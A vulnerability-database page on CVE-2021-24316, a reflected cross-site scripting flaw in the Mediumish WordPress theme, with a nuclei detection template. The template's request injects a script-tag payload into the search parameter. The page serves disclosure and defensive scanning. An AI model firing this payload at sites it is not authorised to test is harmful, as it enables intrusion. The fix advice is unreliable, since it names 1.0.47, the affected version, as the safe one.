HexBrain

Browse / CVEs / CVE-2021-24316

CVE-2021-24316· wowthemes / mediumish· CWE-79

WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting

mediumseverity
6.1CVSS score
6.4%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

WordPress Mediumish theme 1.0.47 and prior contains an unauthenticated reflected cross-site scripting vulnerability. The 's' GET parameter is not properly sanitized by the search feature before it is output back on the page.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress Mediumish Theme plugin (1.0.47 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E
Positive when: contains "<script>alert(/{{randstr}}/)</script>" and "Sorry, no posts matched your criteria." AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24316 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-24316

info:
  name: WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: WordPress Mediumish theme 1.0.47 and prior contains an unauthenticated reflected cross-site scripting vulnerability. The 's' GET parameter is not properly sanitized by the search feature before it is output back on the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Mediumish Theme plugin (1.0.47 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/57e27de4-58f5-46aa-9b59-809705733b2e
    - https://m0ze.ru/vulnerability/%5B2021-03-14%5D-%5BWordPress%5D-%5BCWE-79%5D-Mediumish-WordPress-Theme-v1.0.47.txt
    - https://www.wowthemes.net/themes/mediumish-wordpress/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24316
    - https://github.com/ZephrFish/AutoHoneyPoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24316
    cwe-id: CWE-79
    epss-score: 0.06442
    epss-percentile: 0.93777
    cpe: cpe:2.3:a:wowthemes:mediumish:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wowthemes
    product: mediumish
    framework: wordpress
  tags: cve2021,cve,mediumish,xss,wordpress,wpscan,intrusive,wowthemes,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E "

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <script>alert(/{{randstr}}/)</script>
          - Sorry, no posts matched your criteria.
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from